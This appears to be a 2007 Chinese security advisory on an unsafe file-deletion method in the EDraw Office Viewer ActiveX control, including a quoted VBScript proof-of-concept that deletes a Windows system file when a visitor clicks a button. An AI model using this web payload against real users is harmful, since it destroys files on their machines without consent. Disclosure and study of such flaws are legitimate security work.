发布日期：2007-05-30
更新日期：2007-05-31

受影响系统：

EDraw Office Viewer Component 4.0.5.20

描述：

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BUGTRAQ  ID: 24230

Office Viewer Component是用于显示和交互Microsoft Office文件的ActiveX控件。

Office Viewer Component的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞非授权删除用户文件。

EDraw Office Viewer Component（edrawofficeviewer.ocx）ActiveX控件没有安全地使用DeleteLocalFile()方式。如果用户受骗访问了恶意站点的话，就可能导致删除指定的文件。

<*来源：shinnai （shinnai@autistici.org）
  
  链接：http://secunia.com/advisories/25418/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
<b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
url: http://www.ocxt.com/officeviewer.php

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

<b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

This ActiveX is marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.DeleteLocalFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
   End If
End Sub
</script>
</span></span>
</code></pre>

建议：

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厂商补丁：

EDraw
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.ocxt.com/

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